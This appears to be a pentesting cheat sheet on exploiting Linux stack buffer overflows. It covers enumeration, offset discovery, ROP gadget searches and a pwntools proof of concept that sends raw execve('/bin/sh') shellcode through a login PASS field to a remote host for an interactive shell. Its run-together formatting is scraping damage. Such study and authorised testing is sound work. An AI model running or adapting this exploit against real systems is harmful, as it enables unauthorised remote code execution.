Buffer Overflow - Linux
Methodology Overview
Crash the application - Determine if buffer overflow is possible
Find offset - Use cyclic pattern to identify
EIPoverwrite positionControl
EIP- Verify you can control the instruction pointerFind return address - Locate suitable memory address for shellcode
Develop shellcode - Create or adapt payload for target system
Build exploit - Combine buffer + return address + shellcode
Enumeration
Dynamic Analysis - Function Call Tracing
Look for vulnerable functions like
strcmp(),strcpy(),gets(), etc. that don't perform bounds checking.
ltrace ./vulnerable_binarystrace ./vulnerable_binaryCheck System Security Settings
cat /proc/sys/kernel/randomize_va_space0=ASLRdisabled1= Conservative randomization2= Full randomization
Binary Protection Analysis
checksec --file=binary Identifies security mechanisms like:
NX bit (No Execute)- prevents shellcode execution on stackStack Canaries- detects buffer overflowsPIE (Position Independent Executable)- randomizes base addressRELRO- makesGOTread-only
Enumerate library addresses and base addresses
ldd ./vulnerable_binaryExploit Development
Offset Discovery
cyclic 300pattern_create 400Create a unique non-repeating pattern to determine the exact offset where
EIP/RIPgets overwritten.The number should exceed the expected buffer size.
Each
4-bytesequence is unique, making it easy to calculate the buffer overflow offset
Find offset after crash
cyclic -l <crashed_value>pattern_offset <crashed_value>POC
from pwn import *
shellcode = (
b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58"
b"\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f"
b"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
)
payload = b"A" * 28 + p32(0xffffd630) + shellcode # Change this
r = remote('10.10.10.34', 7411) # Change this
print(r.recv(1024).decode())
r.sendline(b'USER admin')
print(r.recv(1024).decode())
r.sendline(b'PASS ' + payload)
r.interactive()Key Points for Customization
Buffer size (
28): Found using cyclic pattern analysisReturn address (
0xffffd630): Points to shellcode location in memoryShellcode: Adapt based on target architecture and desired payload
Target (
IP:PORT): Update for specific engagement
Common Return Address Locations
Stack address: Direct jump to shellcode on stack
JMP ESP: Find gadget that jumps toESPregisterROPchain: For modern protections, use Return-Oriented Programming
Redirect execution to a ROP chain
Use gadgets to set up arguments and call
system("/bin/sh").Typical chain:
pop rdi; retAddress of
/bin/shstring in libcAddress of
systemin libc(Optional) Address of
exitfor clean exit
Check for useful gadgets
ropper --file garbage --search "pop rdi"rop-tool gadget garbage | grep rdiFind where puts is called
objdump -D garbage | grep puts@GLIBCreadelf -r garbage | grep putsLast updated